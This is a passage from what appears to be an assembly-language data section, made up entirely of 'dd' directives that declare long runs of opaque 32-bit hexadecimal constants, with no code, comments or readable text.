0C79F04AAh, 18B7EADEh, 0BE4AABD8h, 1C4898F2h, 3DEB00C4h dd 0D4DD08D6h, 0C1A70007h, 26EDA3BFh, 0BE00CE2Fh, 0CC526403h dd 9D9E11h, 6A355AE5h, 0ABEE7692h, 0C8402130h, 3E99A5h dd 9831836Eh, 0B93851A8h, 0D5084B0Bh, 8E5FB3h, 351BD980h dd 3D00DDD6h, 5284393Fh, 0F4FEB61h, 0D4C0C476h, 4D0B3E83h dd 961FB0C8h, 0BD47DC03h, 89807FAAh, 0BEC0A79Dh, 0D9200718h dd 0D0C582F3h, 0DC330749h, 98041300h, 964BC972h, 23A9007Bh dd 1075C7FBh, 0CC00B0E4h, 50FC9EF0h, 0F9004h, 862176CAh dd 0EBA5AB80h, 2668E200h, 7319964Fh, 0D8841D66h, 2DFE841Ah dd 0B5E6C039h, 31F654ABh, 80DE1302h, 5F157765h, 737E7560h dd 0B1FE0C05h, 7C05616h, 19B5C29h, 2B9552C1h, 0C9E6C474h dd 0DB04C45Fh, 7082E924h, 4F16B482h, 221A40F4h, 52131DE8h dd 458079C7h, 0B86B252Fh, 3600E183h, 0AAFA3F7Fh, 602AAB0Bh dd 27632816h, 6005A42h, 44ECC926h, 0F30446h, 96A1CB07h dd 9581DA47h, 0FD038492h, 2FE56E7Ch, 311CB008h, 0BD600363h dd 0F0477607h, 2B7780BFh, 320062A1h, 9543CA08h, 1883DBECh dd 9029657Ah, 0F7078CD8h, 5C032781h, 0C391E93h, 0E620F0FAh dd 310067C1h, 1A24B4B9h, 0EE5B0208h, 4B7D03BDh, 73C3BB29h dd 0C00C4FD9h, 0BA003AF2h, 547A14E6h, 50190641h, 7C4AF8B4h dd 519A0AA8h, 0B42CDAh, 5E7DFF7Ah, 8F1FF1E9h, 80A8CFD0h dd 7914F215h, 1DD818A8h, 0C17B791h, 1ABEDF0Eh, 0D0107B8h dd 91A69B62h, 81876A71h, 11CD3D0h, 60F9E1D4h, 0A40062AAh dd 0F263C885h, 7FAF5D4Dh, 0C9140046h, 0D55B897h, 41E4FBE8h dd 789AF218h, 83171279h, 59814AA0h, 58447700h, 9C29BAC1h dd 1E371C08h, 28220116h, 8027F40Ch, 354A0A74h, 20E148h dd 1F96C7F9h, 0F623E8BEh, 0C6062BB8h, 525EB158h, 6A3707E0h dd 0D00BCF06h, 0F5FA92CDh, 9D001D79h, 0A16E5A4Bh, 250690Dh dd 6F3996EBh, 7403A05h, 97B808B6h, 3C38CE26h, 0D380A79Ch dd 0D670DCCFh, 2456002Eh, 40B9834h, 2D500DCAh, 9600B3B8h dd 72EA6B87h, 1432903Ch, 9C582BACh, 7CF6007Eh, 8C83828Eh dd 771FF197h, 6C81620Eh, 0ABCADBDCh, 287BD0h, 7A076E55h dd 790A874Ah, 9D818000h, 72B11592h, 0C471001Fh, 4BF13784h dd 3602A618h, 0E0176038h, 7731604Fh, 0C0D5002Dh, 6203206Ch dd 0E4009939h, 1F86DE9Bh, 0D463D2h, 93348DD1h, 4CCDF892h dd 0D312FD00h, 6B3D0E85h, 1CA2000Bh, 5492C658h, 697AB518h dd 0F500FDEAh, 43B5F39h, 0FA4D644h, 125BAFBDh, 1794228Ah dd 77480FF3h, 18205109h, 8BDE9F9Eh, 0DB78021Eh, 877305CEh dd 6300DF07h, 0CB40C3E2h, 3482B519h, 7CE146E8h, 1089F82Eh dd 0C8D3DCFBh, 0B5DE001h, 0A7F8F787h, 3E6A60h, 851AE5DDh dd 6AA8FAC9h, 0C6902303h, 0F0E0B2ABh, 98842h, 0F51CF7D9h dd 8B7552A0h, 92C8A38h, 3254F6h, 24842044h, 589A0062h dd 3ABAF8F0h, 10045A4h, 1CF19052h, 0A4BAAAFh, 2E3603AEh dd 0E71500F4h, 0FA80DA97h, 3D23F3Fh, 3A8A82C3h, 0C7F8D0B0h dd 42B70059h, 2C944674h, 19C0066Bh, 0F34C0E7Ch, 0A6E8D9h dd 2685C62Dh, 0D1D5A876h, 0DA1D2EFEh, 803FC9F1h, 724B5392h dd 0F1301C4h, 12B165F7h, 0DD342620h, 712498BCh, 0F0368BAh dd 5BEF6B4h, 63E55728h, 77C0FE12h, 382895Fh, 49045ABFh dd 5E0A6F4h, 0C2023452h, 75BBD80Eh, 0A5B4E0F6h, 92F900DEh dd 53FC1F04h, 19009F05h, 552D9771h, 788CF07Ah, 92E5014Eh dd 87EDF4E9h, 0C0FFD949h, 93003BA5h, 8389DCAEh, 0EEA8BA67h dd 5AB3005Dh, 90B42596h, 57006FA5h, 5C3DC56Ah, 0E0AFD1E3h dd 40B007C3h, 505547C7h, 1A434EB3h, 1741A80Ch, 7EE15A2Bh dd 2FEF2E5Eh, 7E1E07D4h, 80DB545Ch, 44EB7ADh, 8E072A0Eh dd 0C5498589h, 0B6B863C0h, 0A1630B26h, 8C001DC7h, 3CDF523Dh dd 4C744A1Eh, 50622E80h, 8A145Bh, 4EFBFAF5h, 7CEDE899h dd 0FD3A847Ah, 80708061h, 0AAA35BFEh, 810A3934h, 1F023100h dd 0CB735891h, 0D1674900h, 4AF66462h, 0D3B70028h, 25E9996h dd 3E174D82h, 0F307D597h, 0B840839Bh, 0F21CB04h, 170FA4F6h dd 776D2360h, 0EF074FDFh, 224B1F56h, 0F90DCFA0h, 1B9A28ABh dd 473C00F0h, 0F1D7C5F8h, 463977A8h, 0FE00767Eh, 0A03E50AAh dd 3DDD623Ch, 8C3D0223h, 98938E82h, 9380316Bh, 73D6DB0Ch dd 0CEF8B001h, 0CBF07412h, 93F31C28h, 0DA1D54D0h, 0ED901140h dd 2E8D75E0h, 40C00E41h, 0A32530D3h, 0AA07ECBAh, 19B8E93Ah dd 0C5218Ch, 0CFDB0314h, 0CC0E5AB6h, 0B9D15100h, 52B20C49h dd 255B1EF1h, 0FD97C954h, 37681040h, 5F78C095h, 81C52E3Dh dd 15390056h, 7AFA64DDh dd 0B85930F3h, 0F1039200h, 0C7EC0CD0h, 64903Dh, 0D27B19D3h dd 8A97404Ch, 0AAE8C30Fh, 34D4DE65h, 0C52074h, 5374F135h dd 31FD7E2Fh, 85878300h, 338FBF89h, 0B91D0F10h, 146040F7h dd 43C20778h, 80B6263Ah, 6AC9312Fh, 0E2DEE01Ch, 0ECC3000Ch dd 0FCEF786Bh, 0A20BFA88h, 820324ADh, 60A38BA5h, 1FDD498h dd 0E8C51B42h, 30A4C894h, 4F00F3FCh, 8F16C2ABh, 0C7D32Ah dd 36F0C01h, 14D266E4h, 3ECEBF00h, 0CD2EDEF6h, 767CFCF4h dd 0E1EC0027h, 41F520EAh, 0D0B83095h, 9FF04316h, 8FEE8000h dd 1F0398E9h, 15F53Bh, 0C33E36C5h, 0DE004BD5h, 97137CE3h dd 7E2FF414h, 0F74CAh, 0B0120DBBh, 5284DF83h, 5324E5Ch dd 16F72EEDh, 3A9FA000h, 150CEAh, 0E03DF82Ah, 73B23082h dd 0FA3EA0B0h, 4056002Ch, 9C7BEDC1h, 24CA1615h, 3F8801BBh dd 0F0E046B8h, 0C7032361h, 0FA813428h, 40D5A842h, 0D8070091h dd 0EFCB7CDDh, 8800FF95h, 52F1C119h, 94813B0Fh, 0F64A0F40h dd 0E757CEA0h, 0C848E90Dh, 0F5690064h, 92B96BDBh, 5B7004Bh dd 26A0B4F8h, 0EC00B3E2h, 0C6865E0h, 0EABDD4Fh, 74BDAD82h dd 3D3CC8C0h, 4001F9E2h, 484B6E0Fh, 0DC20246Ah, 5EF100D6h dd 2FB1E4E6h, 391C585Ah, 0FB4CA2h, 99B987B0h, 0BE5FFCEh dd 2ED4D0B2h, 0D3E89C83h, 2D5B73EFh, 0FD391000h, 0E9BCA811h dd 24B09Bh, 0A635509Fh, 0F94908FCh, 0C5FB1801h, 78C63685h dd 0AA0ED4h, 0C9023D53h, 73DD4915h, 99BD6702h, 43D324D7h dd 0D6E6D0C5h, 93380016h, 6B8E1DD1h, 0EC24322Ah, 0AE1E7404h dd 0CF44F80h, 5B9D083h, 20086424h, 49CC9079h, 0D717C3C9h dd 0F84043CAh, 0E51177FBh, 340E894h, 4A5BA902h, 0A8D34427h dd 399E7017h, 13378840h, 0FB2A312h, 7A1AEC84h, 67D8C1E0h dd 0F10716A2h, 0D0503F9Ch, 50DF4522h, 0E9662C84h, 1BB30372h dd 72F03039h, 9100DDB4h, 74E8A293h, 580FA0D2h, 8100F8AFh dd 8EF030BFh, 580E4B6Fh, 2067B510h, 1EC7526Dh, 0EA76FCh dd 3128012Ch, 0C14F06C2h, 85999800h, 148BCD24h, 16FDE810h dd 3034B7h, 0B277E0DCh, 80E37C9h, 76EE39Dh, 87208879h dd 0CFCD91h, 0C7519C2Ch, 2A7242C6h, 0D2559D0Fh, 4518C05Ch dd 9F8AE1h, 21CCFE93h, 380F2C64h, 0DCAF0200h, 3195E6DEh dd 238B8FFh, 0FD830440h, 3C6A2B66h, 7512FCE8h, 0F2B7CE3Bh dd 4B064102h, 0C8E0881Bh, 25BCCCFBh, 0E000EB83h, 95D59665h dd 0DEFAE100h, 7D6081EEh, 1B8D00D9h, 0A32C888Eh, 4900292Eh dd 0CEF584E0h, 5C1CB0h, 0F11D58Dh, 7CDCB621h, 4700CBF4h dd 245241F1h, 0C02FBDDBh, 43E4FC60h, 9F1CC0D3h, 328005E5h dd 0D1FE47C3h, 762001E6h, 0C1B13C85h, 0F25FE4CFh, 0D15C9630h dd 0D34AB0h, 7F8C1B71h, 9F23574Eh, 3D9BF004h, 62D0A18Bh dd 2ACCB0h, 0D54B017Eh, 0B2469E60h, 0B6D89400h, 323AC1Dh dd 0BF7D0080h, 0D96DD7BDh, 150991DCh, 60CF891Bh, 0EEDDF7E8h dd 9BF12A33h, 52311D8Ch, 70ED406Ch, 3B66E6C4h, 8F254C92h dd 0D41C10h, 95311D8Bh, 9B04645Ah, 0F1B2CF09h, 54C060EEh dd 0CD13ACCh, 436370Eh, 34B2F5E0h, 30E8AF7Dh, 9E0081E0h dd 821D1716h, 0A7CD05h, 9CCBCC43h, 14D530FCh, 9058E100h dd 0C2F7116Fh, 0DC9D006Dh, 0B2B05240h, 0D800865Fh, 0BA8ABEAh dd 2EE5B5C7h, 9B41F22h, 0BC80E146h, 0AA6A1317h, 0CD00BE78h dd 0F802B775h, 1157EEDh, 0BB5C500Fh, 0F4B96D91h, 74004B6Ch dd 849C44E9h, 0AC8ADDh, 3940C093h, 4D9F2082h, 41D89E02h dd 49C9C5CCh, 0F02A97DCh, 502DE8AFh, 92D805h, 45A76D09h dd 251B1FFAh, 70828501h, 0F85F1DA9h, 386E8240h, 52290032h dd 4115D52Dh, 0A600EA5Ah, 7E9EB177h, 0D8AA9Ch, 61603AF5h dd 0FC441FFDh, 8D6AA803h, 80B18284h, 941DCCF6h, 807C1CB8h dd 51F185DEh, 0D84C82C8h, 89AC0020h, 358AFB1h, 0B9DB00C9h dd 920B71DFh, 70008196h, 3847A60Dh, 3C6DE94Ch, 4A0E56h dd 3D52D630h, 38B063A5h, 70DDD000h, 7CB77BC2h, 54340E73h dd 0E2E16B45h, 0C4443755h, 89008E26h, 8BFA0ECDh, 7DC9408Fh dd 3097073h, 43C3C161h, 100042E9h, 6B552D99h, 1D12CA1Dh dd 12A6113Ch, 0CCC800F1h, 24E8BAE0h, 0BC98E73Eh, 0EBD9040Eh dd 0CCA0BC6Eh, 0A1F84437h, 592A9E00h, 14562105h, 871589Fh dd 0DF06DB00h, 0EE57518Eh, 0A104F4E0h, 484A9101h, 0B3B02C80h dd 3060104h, 1C3EFDC6h, 60C2DAAh, 9E35281Bh, 84130028h dd 3F95BE4Ah, 1400BF55h, 91E1C1AEh, 0E8FEB1A5h, 4264000Dh dd 419E3DB4h, 0AF777A55h, 89DA0B01h, 0A3C4B1A6h, 148A7470h dd 0ED0C8F6Ch, 24F1A800h, 0EABE9D3Eh, 59359900h, 7C16EE6h dd 0BA502CC8h, 0B9E0059h, 887CA2FEh, 55A4A61Eh, 9895CCC0h dd 413329h, 773C3483h, 62CDB261h, 87637502h, 0C0E83B5Dh dd 0F9C278h, 92BFD119h, 9EE4CEE6h, 97BE3Ah, 0A725CF3Dh dd 773A89h, 4451ADC5h, 3BA11921h, 0D33E8E07h, 9C50BB3Fh dd 4A3D73Dh, 516B1045h, 667DFCA0h, 7D4EBA2h, 0FF570F76h dd 0A0E9A04Dh, 910141A9h, 53D92203h, 0F440C54Eh, 0C09818h dd 6E050EB0h, 4445CDD1h, 0D9156301h, 3AC3BA82h, 99FEF8h dd 0E4E77DF8h, 2B196DBEh, 9B011DE0h, 0AF23EC62h, 93CC8368h dd 0EF3C0199h, 0AB50ACFFh, 0F998C38Dh, 0A9031BE7h, 9745476Eh dd 0F3BCF8CDh, 17310050h, 6C748466h, 0D3001E3Ah, 377F1ACBh dd 0DA22A9h, 22DB75Ch, 24A7AE23h, 2762A301h, 17E3AC3Ah dd 0CE1B6830h, 9B83F208h, 9118ABD1h, 0A3086ECEh, 0F0A733E3h dd 0FAA08F28h, 18CC7B6Fh, 2F4381Dh, 0DAB3D9CAh, 0E7DCD492h dd 0A28D3700h, 1C07D35h, 4708DC24h, 0CD7C6D6Ch, 0A261819Fh dd 0A76F7E12h, 34170840h, 28F400DFh, 0B0C29FFBh, 10A00F65h dd 80FDE98h, 40AC2C8Dh, 5DB47D3Dh, 0BF48002Bh, 3E10323Bh dd 400F05BBh, 6091F5B0h, 0C547244Dh, 0C7A8002Fh, 269B8B96h dd 6A00C031h, 7A14D043h, 3290A0h, 2D5A4B09h, 0B29D9E7Bh dd 0A1106700h, 0DBF03E2h, 63756Ah, 8B9E91Fh, 0F3645CE5h dd 6FAACD00h, 496DAA3h, 4E330FC2h, 0CF4F9490h, 0B98F3DA6h dd 100F0300h, 8B6D3B0Ch, 61793050h, 0E57F2418h, 9001C07Ah dd 9BA82A27h, 0D0402581h, 5761ECh, 0D7300E83h, 0FABCD54Fh dd 2B2A920Fh, 18034C47h, 0F42807E7h, 0C3A8810Dh, 0C3C51C78h dd 5FC08EBCh, 190FE298h, 0B511A93Eh, 512900FCh, 0D14D95A5h dd 36320398h, 48D34759h, 27A122C0h, 0FB8D550h, 62A3613Ch dd 88115018h, 1680C4E2h, 25981E47h, 4968C0A6h, 3391357h dd 0CB89D703h, 184475Eh, 2459E5B9h, 834511A8h, 0DB514281h dd 0FB5800FAh, 0ED6A58B8h, 61320289h, 402E19B7h, 0AFA8C7h dd 1A13FB91h, 86E78C0Fh, 34019075h, 0DB4DCF28h, 50254E56h dd 0B06198EDh, 0D59D4800h, 5F10843Ch, 0E306BE80h, 0C8B34FEAh dd 9A914619h, 36DA83E8h, 0C0CD0521h, 28E86C84h, 30C38624h dd 1F575D03h, 38681846h, 9D5F1A3h, 0EDC43C00h, 0C630B99h dd 0CB8493Eh, 53C85D00h, 0BF94E79Ch, 0B0731E00h, 6A7C4D6Dh dd 7B561BFEh, 61D0E1FDh, 9A7AC05Bh, 7D645E00h, 9A795ADh dd 0E096B830h, 6031F01h, 6A5F4004h, 0FA532CE4h, 83EC6000h dd 8CD88D4Fh, 56E301F5h, 4CD2B038h, 4861F185h, 2B0084A0h dd 738B98DCh, 9A949Dh, 0D814765Dh, 0B94779A4h, 99F0FF05h dd 9040D12Ah, 48152281h dd 0FA2E8DCh, 6091DD85h, 0E5D80757h, 0B984204Dh, 5A036BA9h dd 1ABA99E4h, 0A03BE9FCh, 67378050h, 14520F58h, 39007F50h dd 228F551Eh, 2AEF3807h, 70606636h, 16C3771h, 218A4063h dd 82F67AC8h, 6A0508B9h, 0EE2460C1h, 6E93002Dh, 21F8469Ch dd 0AD1D9461h, 8880AA7Dh, 8B99524Bh, 0A4513392h, 54F12481h dd 6FD180D2h, 9EC6B5D4h, 2882092Eh, 4C001D3Dh, 358E5B2Bh dd 67A40700h, 0FB509D20h, 1555007Bh, 0EEDF5390h, 71008431h dd 655C0FE3h, 7515976h, 0B17C41FFh, 7208FCE6h, 3E2721C0h dd 0B982059h, 5623FB6Ch, 67066683h, 45B108E0h, 0BC0FE400h dd 0DD30A92Fh, 1B180D39h, 0E90801D5h, 15488066h, 82FA817h dd 0E7B300BAh, 0DEC88AB6h, 8AC3BCE1h, 0C81FD6E4h, 7119B01h dd 0A66E0F2h, 127940D1h, 0B500EE28h, 96FE1767h, 0C6F62726h dd 20D97B08h, 0B7459301h, 0E302D5E9h, 7775DCh, 7D34619h dd 70C06D3Ch, 0C8119A00h, 3437394Fh, 4841CDEh, 0F3B180BAh dd 478D784Ch, 2B1C2272h, 0F440D301h, 0F817463Bh, 55380607h dd 90C81277h, 57A96200h, 0D77435A7h, 0B6134C63h, 59382C30h dd 850122DAh, 231210B1h, 18803CFBh, 0C0669B8Ah, 48C07A35h dd 3AD64E40h, 0A85E6361h, 8363659h, 2EA985h, 137F76D7h dd 0DBAEA51Dh, 1C702B60h, 264ADCh, 0E3F896E0h, 9B023898h dd 0C100DBE8h, 0F361830Bh, 78510Dh, 0D571FED0h, 0E1F53D65h dd 0AE82CB03h, 0F869099Ch, 5820CCh, 4BB00642h, 0E10DC4DBh dd 6F00D4F8h, 14959648h, 3BD83A61h, 0E814ABAh, 0B77E8016h dd 0C055EC77h, 79232A00h, 0FC2015D5h, 4AE10F50h, 281943AAh dd 44B908BBh, 0FB44041Fh, 511064FDh, 8265208Fh, 8088178h dd 291A62F6h, 45007F13h, 1923BEAh, 1FC59BA6h, 0FCE8046Bh dd 0E61FEC38h, 670EAB7Ch, 0F299400Dh, 0E6DB9CE1h, 0F68B048h dd 0C83EE5E0h, 36AA7A80h, 68019AD5h, 0E4A5C4D3h, 0A4809E54h dd 4030ABF9h, 52003A5Ah, 0A56C076Bh, 48E5FDDAh, 600EE56h dd 7D3BD7F1h, 3E055712h, 969F0AABh, 2A682C06h, 0DB60771h dd 90909A1Bh, 0B767DAD9h, 2B338707h, 0A3E080F4h, 1C5F1F9Bh dd 0C0FB6295h, 7325F054h, 5A170579h, 0EA00A63Dh, 0B44668ACh dd 43CF0035h, 8911C95Bh, 0F90012E7h, 0DFB2553h, 67D1441h dd 6290EB9Dh, 3D12100Eh, 30003865h, 0B2E5155h, 0BE8D0066h dd 0E728EF4Bh, 0D9009609h, 2DDA23BAh, 5B8B65h, 0FAA8D3A0h dd 7E79D7C7h, 657E438h, 0B0A40F46h, 40D64810h, 8C7AE100h dd 0F37C079Dh, 7B029F00h, 0AEE46E15h, 6DC0F195h, 54111CCAh dd 4285030Dh, 0D7E872B8h, 0F60038EBh, 83B5913Fh, 0FE9BC5h dd 0B3E71B11h, 0F4529845h, 2243DC00h, 0D4DD7C35h, 3B7C16h dd 2362E471h, 0B46C5E77h, 2F9C5C00h, 2BB16814h, 8D7F078Fh dd 8033D3E1h, 1D0121C4h, 0CA84BE03h, 98AB39ECh, 3D19F3Ah dd 198B3878h, 41E03F4Ah, 3E1DEF58h, 807E75B3h, 809EF59Ah dd 536020h, 0B82ED57Bh, 591440B6h, 0EC1DF97Dh, 5BC0D1A1h dd 0DA1D41E1h, 0C8B1000Eh, 0B8AD4674h, 240A4F91h, 947C7D99h dd 0C279E60Ch, 35420004h, 6423D263h, 0BF000672h, 39D7F2A1h dd 24E05Eh, 0C31DE751h, 0CD4E02C9h, 0AEE2BE00h, 16E64B8Fh dd 0BC7C96h, 81D75080h, 0E27252C2h, 4B005BE0h, 0F7249A1Dh dd 76BCCA9h, 5FE0E3BDh, 5695E07Fh, 0D8002F44h, 0D2206CF1h dd 3A70ABAh, 0B7593B1Dh, 221D3832h, 0A69F9F60h, 0A83D64C1h dd 7AC8111Dh, 730C0054h, 28C3C16Dh, 22005EB4h, 3C7D21C0h dd 0DA3AC5h, 0C24F43F9h, 0EA7F8218h, 96008E71h, 80EDEEBFh dd 3F618C40h, 3CF8D544h, 0F1834839h, 31C77552h, 34131800h dd 84B12F16h, 0F7FF0070h, 2415769Fh, 0E00F5B5Fh, 80596CEEh dd 0B44D8BF9h, 1A0A1F54h, 0C028DE52h, 0B93CC61h, 7500D7CBh dd 4C824BCAh, 607ED584h, 13FFC8F6h, 7D4C8733h, 0A2E0791h dd 0EAD705E4h, 0CBEE7530h, 828C0F9h, 0A54310E6h, 0E903B77Ah dd 296F096Dh, 9A189891h, 88D80062h, 923C7A03h, 0E1006573h dd 0F3CF0BB0h, 0EC8FD7h, 0F60FCA5Bh, 51089C06h, 0E1D57F6h dd 0AE40175Eh, 38ABE69Fh, 122A0088h, 0D96789B5h, 7E01C1F8h dd 8C41034Bh, 16AEFDBh, 3B4F3870h, 32B1C09Bh, 0FEEC33Bh dd 0A071F103h, 2884B3BBh, 86E0067h, 0EFF43924h, 0B39783Dh dd 0B4DC121Ch, 66653040h, 80A58904h, 0CD009721h, 3E334232h dd 12D03Dh, 961B7FA1h, 40D05C6h, 707303Dh, 137C7391h, 75A4AB30h dd 7B4A0F2Dh, 7D607947h, 0D00B4416h, 0C86B900Eh, 5CDFE254h dd 5D48682h, 0F04707D2h, 301E715Eh, 85E73CACh, 9A392A26h dd 51BD8C00h, 0B4D84Ch, 90AD69C7h, 9EC89A96h, 0A019BF07h dd 4DF0413Ah, 815F1Ch, 88032137h, 0B5AFC615h, 3600E679h dd 87D04479h, 0F60EC0h, 9289A55Fh, 7A41FEEh, 4802C190h dd 523F4059h, 450E60BFh, 0B30E0058h, 1DA9096Ah, 8F078348h dd 0E343E73Dh, 19DB1570h, 0EBFF1DA6h, 265180B8h, 8688AE6h dd 67F61A00h, 462BCF69h, 73D0089h, 72CDD1D0h, 3000B473h dd 317EBEA4h, 1175D3h, 14107BA0h, 0F6AE9C91h, 6C908BE2h dd 85CF6D00h, 5BD3E721h, 979B1DF0h, 94AA4ED2h, 0A15205h dd 191C78D4h, 0BD005CA2h, 53E17960h, 0D6CE06h, 0D115F6ABh dd 6518BC2Fh, 106EC901h, 0FA775D13h, 2F8AAECh, 0A95FDC51h dd 0B0402EC7h, 0E902B834h, 37149E4Dh, 39407D35h, 4C90B1A3h dd 18765E01h, 0C4A0471h, 6F6348D0h, 41461EA6h, 2600905Bh dd 73F79D1Dh, 393B7FCAh, 0F2004757h, 32F5A227h, 8224D43Ch dd 8008025h, 9473553Fh, 427003Eh, 0D405FA78h, 5000CF74h dd 8FC0897Ch, 0F4187DF6h, 0C9F701DEh, 0B268C552h, 24BFC437h dd 0BDD5B300h, 0FB48446Dh, 87E4FEh, 0CA74CB9Fh, 602E85BFh dd 10B31D30h, 359233Ch, 0CC118AA8h, 91A8E5F9h, 3778C9EBh dd 88F04D05h, 33C0AF26h, 0E4B5ACh, 71082B9Bh, 0C06B13EEh dd 1943EB31h, 77700E72h, 88B000F5h, 959934F0h, 0E71EAD65h dd 0A8A8EF7Bh, 939ADA3Fh, 71C79B3h, 9743FEC0h, 6C5F3Bh dd 3AD4ED5Eh, 6854CA1Ch, 79270A00h, 358B34D2h, 5DE4006Fh dd 1F9F65BCh, 9200CB25h, 0F9468FE0h, 6118CAA6h, 358D10B8h dd 2E94C4FCh, 0BD007B7Bh, 614FC350h, 7E1D337h, 0D55C84F7h dd 721A808Bh, 38004B3Ch, 958D23Fh, 3AEC2924h, 0D4036EF2h dd 0F9C594A5h, 0B5BD8FC0h, 0EED97801h, 1BC05976h, 3862F0h dd 45E664DEh, 0AC5FBD1Dh, 3F7C940Ch, 1DF9C44Ah, 80026358h dd 64623709h, 0A7077544h, 0C61B15EBh, 2E6610A0h, 0E72600C5h dd 0D081FDE9h, 32054A8Dh, 0F0DB19ECh, 2840EB1Ch, 900493DDh dd 6EB200DFh, 0D7138A2h, 0E61E467Fh, 0F5805E42h, 0C245BF53h dd 86C10098h, 0C4EE3E93h, 9D019ED9h, 34A8C0A6h, 23D4CA6Fh dd 786BFE18h, 617E0324h, 0EC8EE686h, 7CD73CE0h, 8C68A500h dd 99515D5Ah, 0F22200A6h, 1BB6201Eh, 0F5004724h, 0D09A67C8h dd 0BA0BEEAh, 539335DBh, 960A6700h, 280E1F21h, 0CF671114h dd 0D5C6C0C9h, 0F151C7Ah, 0C8DAD3EFh, 50AA3E80h, 0AF007D98h dd 8AFE53F0h, 49CD151h, 3F9DDDFFh, 627E800Ch, 6372A416h dd 7B86D400h, 386A87FCh, 761B00C3h, 0AA89313Ch, 6100D159h dd 0C4D3ED42h, 9203D5Dh, 8810CD4h, 0B2242E7Ch, 0A42D5001h dd 0ED4FC4Eh, 32D30FD1h, 44E0BB29h, 8CDD8FE1h, 75EF7A00h dd 18A44542h dd 0E02390F4h, 9F8A0094h, 3504F678h, 0D40060C6h, 0F7D2D324h dd 50348D4Fh, 7AE4A8ADh, 0B9EA186Ah, 0DFE02806h, 980D300h dd 2C9CBF01h, 292A00D1h, 0A056774Ch, 7E049B9Fh, 0D3187C37h dd 0CD42FEC0h, 0AFBF063Ah, 98C54A75h, 1F21E3Eh, 1AB88D61h dd 0ECF191FBh, 0DFB6E0ECh, 149C4020h, 9BB1B0Dh, 68BD88CDh dd 5EEC57EDh, 8939006Bh, 4DF9118Bh, 6277E621h, 0C02B451Fh dd 4A8FFEC0h, 0F0A80ECCh, 295300F8h, 4986E344h, 0C3F6A6BBh dd 9E002172h, 3E73A006h, 37ADAC4h, 84DC5FABh, 0C1AD6D23h dd 0C8314B18h, 8C003FE4h, 99C7F12Ch, 0EA7C1BC5h, 0E0440389h dd 172EB619h, 0AD2C43B8h, 8D13F612h, 25B17900h, 4D541Ah dd 64C9DB2Ah, 0D436EAEh, 0F60FC7E2h, 0C03DA7B0h, 425FB3D7h dd 789B07F8h, 0E03A0AE4h, 31D988CFh, 29004873h, 0D6DE188Ch dd 0E513DB4h, 9F054752h, 0EFFC62E0h, 0A9609313h, 0F7A01EC0h dd 2AD805E8h, 8054D1F5h, 0D7505228h, 7BD0EE00h, 0C362B9A8h dd 73751774h, 0E00AF8Dh, 20E4C9B8h, 0C2E703F9h, 65910F26h dd 0A90B4000h, 828E5AFEh, 3AA1007Dh, 6F775BA6h, 0FA00CC72h dd 0BD62CB03h, 5A17C4h, 3C67B4D5h, 81E21283h, 105BEA0Fh dd 0A308A0B2h, 3E032065h, 9A0084F5h, 0C1393066h, 2F006DC5h dd 0AAF96BACh, 48D171h, 0BC7D4DC7h, 73CD6E3Dh, 655F5D00h dd 0D2AD1E27h, 2191001Ah, 0AE4FB5CFh, 9700779Bh, 129D189Ah dd 60BF9h, 5456111Ch, 0E879DC2Dh, 0C986801Ch, 72703800h dd 3F6FF64h, 0EFFEC0EDh, 85882B76h, 0E47DF5F0h, 266E5700h dd 0C944863Bh, 9D600F63h, 26BE4EC2h, 0C7AB0069h, 0E287B7D2h dd 7F3CDE48h, 0BC04F00h, 2E7C60AEh, 239201B9h, 9330D4A8h dd 6355204Ch, 5F83EC1Dh, 0B8D832C0h, 378B0CFh, 31464513h dd 75C849B3h, 0E75CFA62h, 6BB04006h, 23E67D00h, 0F9A3420Bh dd 62A91D1Ah, 8D3A4079h, 3EE5531Eh, 0B9F3DA00h, 867D348Ah dd 0CF4A0D8h, 6C93004Eh, 0F1EACD72h, 0FC01882Bh, 5B075C57h dd 0E6F4253Eh, 63B6014Fh, 94CD3AFEh, 1FF84029h, 0D81FC175h dd 0A0C6E6E1h, 1826C0h, 9E4BB15Bh, 6420B318h, 56051A02h dd 8141C189h, 0C5285510h, 1948B8E0h, 0D2630D32h, 0D6ABCC8Bh dd 3DA6FD0Fh, 1974008Ch, 2F4443h, 0A0FA9AE6h, 0CBBCD1A5h dd 98310600h, 0FF3B5118h, 0AA75F8h, 8416EF47h, 228C6683h dd 0BF7BA100h, 0F31E5CD3h, 0FA270034h, 3C433F5Dh, 2000E57Ah dd 6A456F0Ch, 846D3Eh, 315BD7B2h, 1471497h, 4BE82200h dd 9D4A46B5h, 0F1AE00E0h, 0E9559ED1h, 21007140h, 2991345Eh dd 5A7B1h, 0FDDAC766h, 1A9641DCh, 83EC400h, 0F7D1797Bh dd 4A9100ACh, 5D21CB5Bh, 7F033BC2h, 0AF1C1501h, 9FE8C853h dd 0DFDE0089h, 405DBADh, 9048C439h, 0D46B00E3h, 412056B1h dd 35873A3h, 7EF284B0h, 7DA81123h, 44908C24h, 0F1400600h dd 7C622B92h, 7427E51h, 0A4AA4BDEh, 0AFDF074Ah, 53A56A80h dd 0F800D0F1h, 5FACD55Dh, 0E90654h, 0C750F428h, 0C9EFC63h dd 76B2B114h, 0BE3900DCh, 3C10EA7Bh, 0D6B7002Eh, 0CAA0C41Dh dd 0DEE6E9FBh, 4E28A860h, 0FC6B945Ah, 6DB100C7h, 8DD8D0B4h dd 0FC004340h, 0D4ACF216h, 1825DF8Eh, 883E77CDh, 0F30E2093h dd 7879C08Dh, 176F1A48h, 0AFD22Bh, 63B415D0h, 5A01E7BCh dd 0E1C8746Ch, 0AEE42031h, 0EA2C0055h, 328BAFEBh, 0FB003019h dd 0EF5EDE5Fh, 3DADE7BBh, 1818439h, 49A10C48h, 24AC2079h dd 0E31EF471h, 4700FE58h, 0F53D5E5Dh, 0DEF600E7h, 3211433Eh dd 42EE9356h, 0A0A8A169h, 6316CC24h, 71800E8Bh, 62804195h dd 8A89303Ch, 2028B662h, 0C8DC8126h, 0D08090CEh, 0C236BF16h dd 0FC305DE8h, 8AD04015h, 0D3E2D5h, 9AAA74E4h, 579F5583h dd 0F099A800h, 13A5BB3h, 6B6C28B7h, 63E02CF0h, 4D9F0048h dd 1677E296h, 7C41D80Fh, 718EA385h, 0EC800038h, 0DDA36550h dd 4A3D95B6h, 2E3F9361h, 9E8B4C00h, 313E50Dh, 0ABDFF9A2h dd 60DEBFBDh, 6464C826h, 1040EF44h, 0BB158F37h, 69FE0500h dd 7891CD61h, 174F008Ah, 2D0EF0Fh, 9D14E034h, 0FCC51Ah dd 0E753B7FFh, 195140C8h, 603A81CCh, 12EAE8BFh, 